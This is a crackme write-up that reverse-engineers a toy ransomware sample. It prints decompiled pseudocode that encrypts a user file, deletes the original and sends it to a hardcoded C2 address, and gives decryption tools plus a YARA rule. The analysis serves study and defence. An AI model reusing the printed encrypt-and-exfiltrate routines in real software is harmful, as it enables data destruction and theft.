Ransomware: reversing what was (supposedly) irreversible
In this post my goal is to to solve a Crackme challenge called Ransomware. I intend to show my reasoning during the binary analysis in great detail. The challenge description was:
1
"A hacker launched a ransomware attack on Lisa’s machine, encrypting all critical data in her wallet. Help Lisa recover her lost files!"
So, let’s move on to the analysis.
Binary Reconnaissance
The information we have is that this is a 64‑bit Windows binary, meaning a PE file, and its language is C/C++ (great).
Available Files
The challenge gives us 2 files: an executable and a .pcap, which is probably the network traffic generated by the malware, likely communicating with a C2. We will find out.
Analyzing in PE-bear
Loading the executable into PE-bear with the intention of inspecting its imports, I discovered that the binary uses the following functions/libs:
libcrypto-3-x64.dll
One of the libraries that caught my attention was libcrypto-3-x64.dll, a core component of OpenSSL 3.x. This DLL gathers a set of low-level cryptographic primitives, hash algorithms, symmetric cipher functions, public key routines, random number generation, and various auxiliary blocks that implement modern cryptographic standards.
The “3-x64” version indicates the third generation of OpenSSL, with updated APIs and new internal implementations, compiled specifically for 64‑bit Windows systems. In many cases, malware does not want to depend on OpenSSL being installed on the target system, so it bundles this DLL with the executable to ensure cryptographic functions are available on any compromised machine.
WS2_32.dll
WS2_32.dll is the Windows library responsible for Winsock 2, the system’s networking API. It provides functions for creating sockets, TCP/UDP connections, DNS resolution, and all low-level communication between processes and the network. When it appears in a malicious binary, it usually indicates the malware performs external communication, such as sending data, downloading additional payloads, or connecting to a command‑and‑control (C2) server.
IsDebuggerPresent
One function that stands out in the binary is IsDebuggerPresent, a Windows API function used to detect whether the process is being executed inside a debugger. It checks a field in the PEB (Process Environment Block) that indicates whether the current process is under debugging.
Malware often uses this call as an anti-analysis technique, terminating execution, altering its control flow, or enabling different behavior if a debugging environment is detected. This makes the analyst’s job harder and prevents direct observation of malicious behavior.
Analyzing the Raw vs Virtual PE Layout
The chart shows the comparison between the RAW layout (how the file is stored on disk) and the Virtual layout (how it is loaded into memory by the Windows loader).
The most relevant point here is that the malware has a fully aligned structure with no unusual modifications, meaning there is no compression or packing involved, nothing like UPX, VMProtect, Themida, etc. In packed binaries, the virtual layout is often very different, with compressed sections, irregular sizes, or suspicious names.
Another useful detail is that there is no overlap or abnormal gaps between sections. This suggests the binary follows a standard compilation pattern of a legitimate executable.
Analyzing the Binary Strings
Internal Paths
Inspecting the strings present in the executable, a few things caught my attention:
1
2
C:\Users\Huynh Quoc Ky\Downloads\Ransomware\libgen.dll
C:\Users\Huynh Quoc Ky\Downloads\Ransomware\hacker
This shows that the binary was probably compiled inside a personal folder, and metadata was not removed.
Connection Indicators
1
2
3
4
Socket creation failed
Connection to server failed
Sent %s (%ld bytes) to server
192.168.134.132
This confirms that the malware attempts to create sockets, connect to a server, and send data. The hardcoded IP reinforces that communication is fixed.
“You talkin’ to me?”
1
What are you doing ?
Analyzing you, what else would it be?
The .pcap file
Now we will analyze the .pcap file provided in the challenge folder, a file named RecordUser.pcap, which is probably the capture of the victim’s network traffic during the ransomware execution. So let’s open the file in the Wireshark tool:
I observed that the malware initially establishes a TCP connection with a remote server on port 8000, sending a simple request and receiving a 200 OK response, a typical behavior for checking the availability of the command‑and‑control (C2) server or sending victim information. After that, it communicates with other hosts in the internal network, transferring large blocks of data, possibly encrypted files or sensitive information, while using multiple TCP sessions with fast acknowledgments to ensure delivery.
Analyzing the Executable’s Main Function with IDA!
Converting the first calls inside the main function into C‑like pseudocode, we obtain the following execution flow:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __fastcall main(int argc, const char **argv, const char **envp)
{
void *Block; // [rsp+28h] [rbp-8h]
_main();
Block = sub_001860();
if ( !Block )
return -1;
if ( (unsigned int)sub_001DE1(Block) || (unsigned int)sub_001FB3() )
{
free(Block);
return -1;
}
else
{
free(Block);
return 0;
}
}
The main entry point reveals the core structure of the ransomware. The function begins with a call to _main, which is a compiler initialization routine, followed by the allocation of a memory block through the function sub_001860. This block is essential for the subsequent operations, and if the allocation fails, the program immediately returns with the error code -1. The ransomware then executes two critical functions: sub_001DE1, which likely implements the encryption logic using the allocated memory block, and sub_001FB3, which appears to be responsible for additional malicious behavior.
sub_001860
Now let’s dive into the function that stands out the most in this initial flow, so we can understand precisely how the malware’s execution path unfolds.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
void *sub_001860()
{
void *v1; // [rsp+28h] [rbp-58h]
void *Buffer; // [rsp+30h] [rbp-50h]
int v3; // [rsp+3Ch] [rbp-44h]
FILE *Stream; // [rsp+40h] [rbp-40h]
FARPROC v5; // [rsp+48h] [rbp-38h]
FARPROC v6; // [rsp+58h] [rbp-28h]
void *Src; // [rsp+60h] [rbp-20h]
FARPROC ProcAddress; // [rsp+68h] [rbp-18h]
void *Block; // [rsp+70h] [rbp-10h]
HMODULE hLibModule; // [rsp+78h] [rbp-8h]
hLibModule = LoadLibraryA("C:\\Users\\Huynh Quoc Ky\\Downloads\\Ransomware\\libgen.dll");
if ( !hLibModule )
return 0;
Block = malloc_0(0x20u);
if ( !Block )
{
FreeLibrary(hLibModule);
return 0;
}
ProcAddress = GetProcAddress(hLibModule, "gen_from_file");
if ( ProcAddress )
{
Src = (void *)((__int64 (__fastcall *)(const char *))ProcAddress)("anonymous");
if ( Src )
{
memcpy_0(Block, Src, 0x20u);
FreeLibrary(hLibModule);
return Block;
}
}
v6 = GetProcAddress(hLibModule, "get_result_bytes");
if ( v6 && ((int (__fastcall *)(void *, __int64))v6)(Block, 32) > 0 )
{
FreeLibrary(hLibModule);
return Block;
}
v5 = GetProcAddress(hLibModule, "gen");
if ( v5 )
{
Stream = fopen_0("anonymous", "rb");
if ( Stream )
{
fseek_0(Stream, 0, 2);
v3 = ftell(Stream);
rewind(Stream);
if ( v3 > 0 )
{
Buffer = malloc_0(v3);
if ( Buffer )
{
fread_0(Buffer, 1u, v3, Stream);
v1 = (void *)((__int64 (__fastcall *)(void *, _QWORD))v5)(Buffer, v3);
if ( v1 )
{
memcpy_0(Block, v1, 0x20u);
free(Buffer);
fclose_0(Stream);
FreeLibrary(hLibModule);
return Block;
}
free(Buffer);
}
}
fclose_0(Stream);
}
}
free(Block);
FreeLibrary(hLibModule);
return 0;
}
Analyzing the sub_001860 function, we notice that it is a critical component of key generation, being responsible for dynamically loading the libgen.dll library to calculate a hash or unique identifier from the file “anonymous”. The process begins with loading the library and allocating a 32‑byte buffer. The function first tries to obtain the hash through the gen_from_file function directly. If it fails, it alternatively looks for get_result_bytes to fill the buffer. As a last resort, it uses the gen function to read the full content of the “anonymous” file and generate the hash from the data read. Each approach attempts to copy the 32‑byte result into the allocated buffer, unloading the library and returning the pointer on success. If all strategies fail, the function frees the memory, unloads the DLL, and returns null, indicating a failure in generating the key essential for the ransomware’s encryption mechanism.
The second function to be analyzed, following the malware’s execution flow, is sub_001DE1.
sub_001DE1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
__int64 __fastcall sub_001DE1(int a1)
{
FILE *v2; // [rsp+38h] [rbp-28h]
void *Buffer; // [rsp+40h] [rbp-20h]
void *Block; // [rsp+48h] [rbp-18h]
int v5; // [rsp+54h] [rbp-Ch]
FILE *Stream; // [rsp+58h] [rbp-8h]
Stream = fopen_0("C:\\ProgramData\\Important\\user.html", "rb");
if ( !Stream )
return 0xFFFFFFFFLL;
fseek_0(Stream, 0, 2);
v5 = ftell(Stream);
rewind(Stream);
Block = malloc_0(v5);
Buffer = malloc_0(v5);
if ( Block && Buffer )
{
fread_0(Block, 1u, v5, Stream);
fclose_0(Stream);
sub_001668(a1, 32, (_DWORD)Block, (_DWORD)Buffer, v5);
v2 = fopen_0("C:\\ProgramData\\Important\\user.html.enc", "wb");
if ( v2 )
{
fwrite(Buffer, 1u, v5, v2);
fclose_0(v2);
sub_00183D("C:\\ProgramData\\Important\\user.html");
free(Block);
free(Buffer);
sub_001AEB("C:\\ProgramData\\Important\\user.html.enc");
return 0;
}
else
{
free(Block);
free(Buffer);
return 0xFFFFFFFFLL;
}
}
else
{
fclose_0(Stream);
free(Block);
free(Buffer);
return 0xFFFFFFFFLL;
}
}
The sub_001DE1 function implements the core encryption routine of the ransomware, specifically targeting the file C:\ProgramData\Important\user.html. The function then calls sub_001668 which likely contains the actual encryption algorithm, passing parameter a1 (probably the previously generated 32-byte key), the buffers, and the file size. After successful encryption, the ransomware creates a new file user.html.enc containing the encrypted data, deletes the original file through function sub_00183D (which presumably implements secure deletion), and finally renames the encrypted file back to the original name using sub_001AEB, thus completing the file hijacking process.
sub_001AEB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
__int64 __fastcall sub_001AEB(const char *a1)
{
char buf[4]; // [rsp+2Ch] [rbp-54h] BYREF
struct sockaddr name; // [rsp+30h] [rbp-50h] BYREF
struct WSAData WSAData; // [rsp+40h] [rbp-40h] BYREF
SOCKET s; // [rsp+1E0h] [rbp+160h]
void *Buffer; // [rsp+1E8h] [rbp+168h]
int len; // [rsp+1F4h] [rbp+174h]
FILE *Stream; // [rsp+1F8h] [rbp+178h]
Stream = fopen_0(a1, "rb");
if ( Stream )
{
fseek_0(Stream, 0, 2);
len = ftell(Stream);
rewind(Stream);
Buffer = malloc_0(len);
if ( Buffer )
{
fread_0(Buffer, 1u, len, Stream);
fclose_0(Stream);
WSAStartup(0x202u, &WSAData);
s = socket(2, 1, 0);
if ( s == -1 )
{
puts_0("Socket creation failed");
free(Buffer);
WSACleanup();
return 0xFFFFFFFFLL;
}
else
{
name.sa_family = 2;
*(_WORD *)name.sa_data = htons(0x22B8u);
inet_pton(2, "192.168.134.132", &name.sa_data[2]);
if ( connect(s, &name, 16) >= 0 )
{
buf[0] = HIBYTE(len);
buf[1] = BYTE2(len);
buf[2] = BYTE1(len);
buf[3] = len;
send(s, buf, 4, 0);
send(s, (const char *)Buffer, len, 0);
printf("Sent %s (%ld bytes) to server\n", a1, len);
closesocket(s);
WSACleanup();
free(Buffer);
return 0;
}
else
{
puts_0("Connection to server failed");
closesocket(s);
free(Buffer);
WSACleanup();
return 0xFFFFFFFFLL;
}
}
}
else
{
fclose_0(Stream);
return 0xFFFFFFFFLL;
}
}
else
{
printf("Error: Cannot open %s for sending\n", a1);
return 0xFFFFFFFFLL;
}
}
The function opens the specified file (which in the previous context is the encrypted file user.html.enc), reads all its content into memory and initiates a network connection using Windows sockets. The connection target is the IP address 192.168.134.132 on port 8888 (0x22B8), configured through the sockaddr structure. The communication protocol begins with sending the file size in big-endian format using 4 bytes, followed by the complete content of the encrypted file.
sub_001668
1
2
3
4
5
6
7
8
9
__int64 __fastcall sub_001668(__int64 a1, unsigned int a2, __int64 a3, __int64 a4, __int64 a5)
{
__int64 v6; // [rsp+0h] [rbp-80h] BYREF
_BYTE v7[256]; // [rsp+20h] [rbp-60h] BYREF
sub_00148C(a1, a2, &v6 + 4);
sub_001558(v7, a3, a4, a5);
return 0;
}
The sub_001668 function acts as a wrapper that orchestrates two critical encryption operations. First, sub_00148C is called to initialize the encryption context, receiving as parameters the 32-byte key (a1) and its size (a2), and preparing the v6 structure that likely contains the algorithm’s internal state. Then, sub_001558 performs the actual cryptographic transformation, using the state initialized in v7 (possibly an initialization vector or work buffer) to process the input data (a3) and generate the encrypted output data (a4) based on the specified size (a5). This modular approach clearly separates the algorithm configuration from the cipher execution, suggesting the implementation of a symmetric encryption algorithm like RC4, where the first function expands the key and the second applies the algorithm to the user data.
We can identify that this function implements RC4 initialization through two fundamental characteristics in its algorithmic structure. First, the initialization of an array S of 256 bytes with sequential values from 0 to 255, which is exactly the first step of RC4’s Key Scheduling Algorithm (KSA). Second, the permutation loop that mixes the secret key (parameter a1) into the S array through modular calculations and swap operations - where the variable v6 acts as the index j in the standard RC4 algorithm, calculated based on the key bytes and the current state of the S array.
Returning to the main functions: sub_001FB3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
__int64 sub_001FB3()
{
_BYTE v1[40]; // [rsp+20h] [rbp-60h] BYREF
FILE *v2; // [rsp+48h] [rbp-38h]
int v3; // [rsp+54h] [rbp-2Ch]
void *Block; // [rsp+58h] [rbp-28h]
size_t Size; // [rsp+60h] [rbp-20h]
void *Buffer; // [rsp+68h] [rbp-18h]
int v7; // [rsp+74h] [rbp-Ch]
FILE *Stream; // [rsp+78h] [rbp-8h]
Stream = fopen_0("C:\\Users\\Huynh Quoc Ky\\Downloads\\Ransomware\\libgen.dll", "rb");
if ( !Stream )
return 0xFFFFFFFFLL;
fseek_0(Stream, 0, 2);
v7 = ftell(Stream);
rewind(Stream);
if ( v7 > 0 && (Buffer = malloc_0(v7)) != 0 )
{
fread_0(Buffer, 1u, v7, Stream);
fclose_0(Stream);
Size = v7 + 32;
Block = malloc_0(Size);
if ( Block )
{
sub_0016E4("hackingisnotacrime", v1);
v3 = sub_00171D(Buffer, Block, v1, v7);
if ( v3 > 0 && (v2 = fopen_0("C:\\Users\\Huynh Quoc Ky\\Downloads\\Ransomware\\hacker", "wb")) != 0 )
{
fwrite(Block, 1u, v3, v2);
fclose_0(v2);
sub_00183D("C:\\Users\\Huynh Quoc Ky\\Downloads\\Ransomware\\libgen.dll");
free(Buffer);
free(Block);
sub_001AEB("C:\\Users\\Huynh Quoc Ky\\Downloads\\Ransomware\\hacker");
return 0;
}
else
{
free(Buffer);
free(Block);
return 0xFFFFFFFFLL;
}
}
else
{
free(Buffer);
return 0xFFFFFFFFLL;
}
}
else
{
fclose_0(Stream);
return 0xFFFFFFFFLL;
}
}
This sub_001FB3 function executes a strategic exfiltration operation by encrypting and sending the libgen.dll library itself to the attacker’s server. The process begins with reading the complete DLL file into memory, followed by allocating a buffer with 32 additional bytes to accommodate possible encryption padding data. The function then derives an encryption key from the string “hackingisnotacrime” using sub_0016E4, which likely implements a hash or key derivation function. Subsequently, sub_00171D encrypts the DLL content using this key, producing the encrypted data.
sub_00171D
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
__int64 __fastcall sub_00171D(__int64 a1, __int64 a2, __int64 a3, int a4)
{
__int64 v5; // rax
unsigned int v6; // [rsp+30h] [rbp-10h] BYREF
unsigned int v7; // [rsp+34h] [rbp-Ch]
__int64 v8; // [rsp+38h] [rbp-8h]
v8 = EVP_CIPHER_CTX_new();
if ( !v8 )
return 0xFFFFFFFFLL;
v6 = 0;
v7 = 0;
v5 = EVP_aes_256_ecb();
if ( (unsigned int)EVP_EncryptInit_ex(v8, v5, 0, a3, 0) == 1 )
{
if ( (unsigned int)EVP_EncryptUpdate(v8, a2, &v6, a1, a4) == 1
&& (v7 = v6, (unsigned int)EVP_EncryptFinal_ex_0(v8, a2 + (int)v6, &v6) == 1) )
{
v7 += v6;
EVP_CIPHER_CTX_free(v8);
return v7;
}
else
{
EVP_CIPHER_CTX_free(v8);
return 0xFFFFFFFFLL;
}
}
else
{
EVP_CIPHER_CTX_free(v8);
return 0xFFFFFFFFLL;
}
}
Implements AES-256 encryption in ECB mode, revealing an additional layer of sophistication in the ransomware. The function uses the OpenSSL API through EVP_CIPHER_CTX_new calls to create an encryption context and EVP_aes_256_ecb to specify the algorithm and operation mode.
sub_0016E4
1
2
3
4
5
6
7
__int64 __fastcall sub_0016E4(const char *a1, __int64 a2)
{
size_t v2; // rax
v2 = strlen(a1);
return SHA256_0(a1, v2, a2);
}
This sub_0016E4 function acts as a simplified wrapper for the SHA-256 algorithm, demonstrating the cryptographic key derivation process in the ransomware. The function receives the passphrase string “hackingisnotacrime” as input, calculates its length through strlen, and subsequently calls SHA256_0 to generate a 256-bit hash (32 bytes) that serves as the cryptographic key for the AES-256 algorithm.
Reasoning about the .pcap
In the analysis of the network traffic captured in the PCAP, I identified that the ransomware exfiltrated two encrypted files to the C2 server at 192.168.134.132:8888. In TCP Stream 1, we found the user.html.enc file with 2,588 bytes (0x00000A1C), being the first to be sent after encrypting the victim’s file. In TCP Stream 2, we identified the libgen.dll library encrypted as “hacker” with 16,916 bytes (0x00004214).
How I solved the challenge:
I will briefly show how I solved this challenge, as my objective is not to give the answer but rather to show the techniques I used to understand the executable:
Understanding the conversation through Wireshark, I identified 4 TCP streams:
By mapping them to their respective files, it was possible to observe that the entire flow of these conversations was encrypted. For decrypting the files I used the following combination:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#include <Windows.h>
#include <bcrypt.h>
#include <stdio.h>
#pragma comment(lib, "bcrypt.lib")
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
int main(void)
{
BYTE password[] = "hackingisnotacrime";
BCRYPT_ALG_HANDLE hSha = NULL;
BCRYPT_HASH_HANDLE hHash = NULL;
NTSTATUS status;
BYTE aesKey[32];
DWORD hashLen = 32, result = 0;
status = BCryptOpenAlgorithmProvider(&hSha, BCRYPT_SHA256_ALGORITHM, NULL, 0);
if (!NT_SUCCESS(status)) {
printf("BCryptOpenAlgorithmProvider SHA256 failed: 0x%x\n", status);
return -1;
}
status = BCryptCreateHash(hSha, &hHash, NULL, 0, NULL, 0, 0);
if (!NT_SUCCESS(status)) {
printf("BCryptCreateHash failed: 0x%x\n", status);
return -1;
}
BCryptHashData(hHash, password, sizeof(password) - 1, 0);
BCryptFinishHash(hHash, aesKey, sizeof(aesKey), 0);
BCryptDestroyHash(hHash);
BCryptCloseAlgorithmProvider(hSha, 0);
printf("AES key (SHA256): ");
for (int i = 0; i < 32; i++)
printf("%02x", aesKey[i]);
printf("\n");
FILE* f = fopen("libgenEncrypt.bin", "rb");
if (!f) {
printf("Erro abrindo libgenEncrypt.bin\n");
return -1;
}
fseek(f, 0, SEEK_END);
long size = ftell(f);
fseek(f, 0, SEEK_SET);
BYTE* buffer = malloc(size);
fread(buffer, 1, size, f);
fclose(f);
BYTE* encryptedDLL = buffer + 4;
DWORD encSize = size - 4;
// ---- 3. AES-256-ECB decrypt ----
BCRYPT_ALG_HANDLE hAes = NULL;
BCRYPT_KEY_HANDLE hKey = NULL;
status = BCryptOpenAlgorithmProvider(&hAes, BCRYPT_AES_ALGORITHM, NULL, 0);
if (!NT_SUCCESS(status)) {
printf("BCryptOpenAlgorithmProvider AES failed: 0x%x\n", status);
return -1;
}
status = BCryptSetProperty(
hAes,
BCRYPT_CHAINING_MODE,
(PUCHAR)BCRYPT_CHAIN_MODE_ECB,
sizeof(BCRYPT_CHAIN_MODE_ECB),
0
);
status = BCryptGenerateSymmetricKey(
hAes,
&hKey,
NULL,
0,
aesKey,
sizeof(aesKey),
0
);
BYTE* decrypted = malloc(encSize);
DWORD outSize = 0;
status = BCryptDecrypt(
hKey,
encryptedDLL,
encSize,
NULL,
NULL,
0,
decrypted,
encSize,
&outSize,
0
);
if (!NT_SUCCESS(status)) {
printf("BCryptDecrypt failed: 0x%x\n", status);
return -1;
}
FILE* out = fopen("libgen.dll", "wb");
fwrite(decrypted, 1, outSize, out);
fclose(out);
printf("Arquivo libgen.dll salvo com sucesso.\n");
free(buffer);
free(decrypted);
BCryptDestroyKey(hKey);
BCryptCloseAlgorithmProvider(hAes, 0);
return 0;
}
The process begins with calculating the SHA-256 hash of the passphrase “hackingisnotacrime” to derive the 256-bit AES key, followed by reading the encrypted file where the first 4 bytes of the protocol header are ignored. The actual decryption is performed via the AES-256 algorithm in ECB mode through the BCryptDecrypt function, resulting in the complete reconstruction of the original DLL which is saved as “libgen.dll”.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <Windows.h>
#include <stdio.h>
int main(void)
{
HMODULE hDll = LoadLibraryA("libgen.dll");
if (!hDll) {
printf("[-] Erro ao carregar libgen.dll\n");
return -1;
}
typedef void* (__cdecl *GEN_FROM_FILE)(const char*);
GEN_FROM_FILE gen_from_file = (GEN_FROM_FILE)GetProcAddress(hDll, "gen_from_file");
if (!gen_from_file) {
printf("[-] Erro ao localizar função gen_from_file\n");
return -1;
}
const char* input_str = "anonymous";
void* result_ptr = gen_from_file(input_str);
if (!result_ptr) {
printf("[-] gen_from_file retornou NULL\n");
return -1;
}
unsigned char rc4_key[32];
memcpy(rc4_key, result_ptr, 32);
printf("[+] RC4 key (hex): ");
for (int i = 0; i < 32; i++)
printf("%02x", rc4_key[i]);
printf("\n");
FILE* f = fopen("rc4_key.bin", "wb");
if (!f) {
printf("[-] Erro criando rc4_key.bin\n");
return -1;
}
fwrite(rc4_key, 1, 32, f);
fclose(f);
printf("[+] RC4 key salva em rc4_key.bin\n");
return 0;
}
This C code implements a dynamic loader to extract the RC4 key from the previously decrypted libgen.dll library. The process begins with loading the DLL into memory through the LoadLibraryA function, followed by resolving the gen_from_file symbol using GetProcAddress to obtain the pointer to the exported function. The function is then invoked with the string “anonymous” as a parameter, returning a pointer to the 32 bytes of the RC4 key that are copied to a local buffer using memcpy. Finally, the key is displayed in hexadecimal format and stored in the rc4_key.bin file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
static void rc4_init(uint8_t *S)
{
for (int i = 0; i < 256; i++)
S[i] = (uint8_t)i;
}
static void rc4_key_schedule(const uint8_t *key, int key_len, uint8_t *S)
{
int j = 0;
for (int i = 0; i < 256; i++) {
j = (j + S[i] + key[(i * 7) % key_len]) & 0xFF;
uint8_t tmp = S[i];
S[i] = S[j];
S[j] = tmp;
}
}
static void rc4_process(uint8_t *S, const uint8_t *in, uint8_t *out, int len)
{
int i = 0, j = 0;
for (int n = 0; n < len; n++) {
i = (i + 5) & 0xFF;
j = (j + S[i] + 3) & 0xFF;
uint8_t tmp = S[i];
S[i] = S[j];
S[j] = tmp;
uint8_t t = S[(S[i] + S[j]) & 0xFF];
out[n] = in[n] ^ t;
}
}
int main(void)
{
FILE *fk = fopen("rc4_key.bin", "rb");
if (!fk) {
puts("[-] Falha ao abrir rc4_key.bin");
return -1;
}
uint8_t key[32];
if (fread(key, 1, sizeof(key), fk) != sizeof(key)) {
puts("[-] Falha ao ler a chave");
fclose(fk);
return -1;
}
fclose(fk);
puts("[+] Chave RC4 carregada.");
FILE *fe = fopen("user.html.enc", "rb");
if (!fe) {
puts("[-] Não foi possível abrir user.html.enc");
return -1;
}
fseek(fe, 0, SEEK_END);
long enc_size = ftell(fe);
fseek(fe, 0, SEEK_SET);
if (enc_size < 5) {
puts("[-] Arquivo criptografado muito pequeno.");
fclose(fe);
return -1;
}
uint8_t *buffer = malloc(enc_size);
fread(buffer, 1, enc_size, fe);
fclose(fe);
uint32_t size_hdr = (buffer[0] << 24) | (buffer[1] << 16) |
(buffer[2] << 8) | buffer[3];
long actual_size = enc_size - 4;
if (size_hdr != actual_size) {
printf("[-] Cabeçalho inconsistente: %u != %ld\n", size_hdr, actual_size);
free(buffer);
return -1;
}
puts("[+] Cabeçalho validado.");
uint8_t *cipher = buffer + 4;
uint8_t *output = malloc(actual_size);
uint8_t state[256];
rc4_init(state);
rc4_key_schedule(key, sizeof(key), state);
rc4_process(state, cipher, output, actual_size);
FILE *fo = fopen("user.html", "wb");
if (!fo) {
puts("[-] Falha ao criar user.html");
free(buffer);
free(output);
return -1;
}
fwrite(output, 1, actual_size, fo);
fclose(fo);
puts("[+] Arquivo user.html gerado com sucesso.");
free(buffer);
free(output);
return 0;
}
This C code implements the RC4 algorithm to decrypt the user.html.enc file hijacked by the ransomware. The process begins with reading the 32-byte RC4 key previously extracted from the rc4_key.bin file, followed by loading the encrypted file where the first 4 bytes of the protocol header are validated and removed. The actual decryption executes the Key Scheduling Algorithm (KSA) to initialize the S array with permutations based on the key, followed by the Pseudo-Random Generation Algorithm (PRGA) which applies XOR operations between the generated keystream and the encrypted data. Finally, the decrypted data is saved as user.html, restoring the victim’s original file through the symmetry property of RC4 where the same operation both encrypts and decrypts the data.
To reverse the encryption mechanism used by the binary, it was necessary to completely reproduce the cryptographic flow implemented by the malware. This involved three main responsibilities: loading the previously obtained RC4 key, interpreting the structure of the encrypted file, and finally applying the decryption algorithm. Each block of C code fulfills one of these stages.
The first part handles loading the RC4 key used by the ransomware. The rc4_key.bin file contains the 32 bytes that the binary used internally, and the code needs to read them and store them in memory to reconstruct the algorithm’s initial state. Without this key, none of the encrypted data could be restored.
Yara Rule:
I created a Yara rule for this ransomware:
rule Ransomware_Libgen_Family
{
meta:
description = "Detects ransomware that uses libgen.dll for key derivation, RC4-like and AES-256-ECB"
author = "Ozyy"
created = "2025-11-15"
last_modified = "2025-11-15"
version = "1.0"
malware_family = "Custom-Ransomware-Libgen"
strings:
$dll_libgen = "libgen.dll" nocase
$file_anonymous = "anonymous" nocase
$path_user_html = "C:\\ProgramData\\Important\\user.html" ascii wide
$path_user_html_enc = "C:\\ProgramData\\Important\\user.html.enc" ascii wide
$path_hacker = "C:\\Users\\Huynh Quoc Ky\\Downloads\\Ransomware\\hacker" ascii wide
$key_phrase = "hackingisnotacrime" ascii
$str_gen_from_file = "gen_from_file" ascii
$str_get_result = "get_result_bytes" ascii
$str_gen = "gen" ascii
$openssl_init = "EVP_EncryptInit_ex" ascii
$openssl_update = "EVP_EncryptUpdate" ascii
$openssl_final = "EVP_EncryptFinal_ex" ascii
$openssl_ecb = "AES-256-ECB" ascii wide
$ip_c2 = "192.168.134.132" ascii
$port_c2 = { 22 B8 }
condition:
all of ($dll_libgen, $openssl_init, $str_gen_from_file)
and 1 of ($ip_c2, $port_c2)
and any of ($path_user_html, $path_user_html_enc)
and filesize < 5MB
}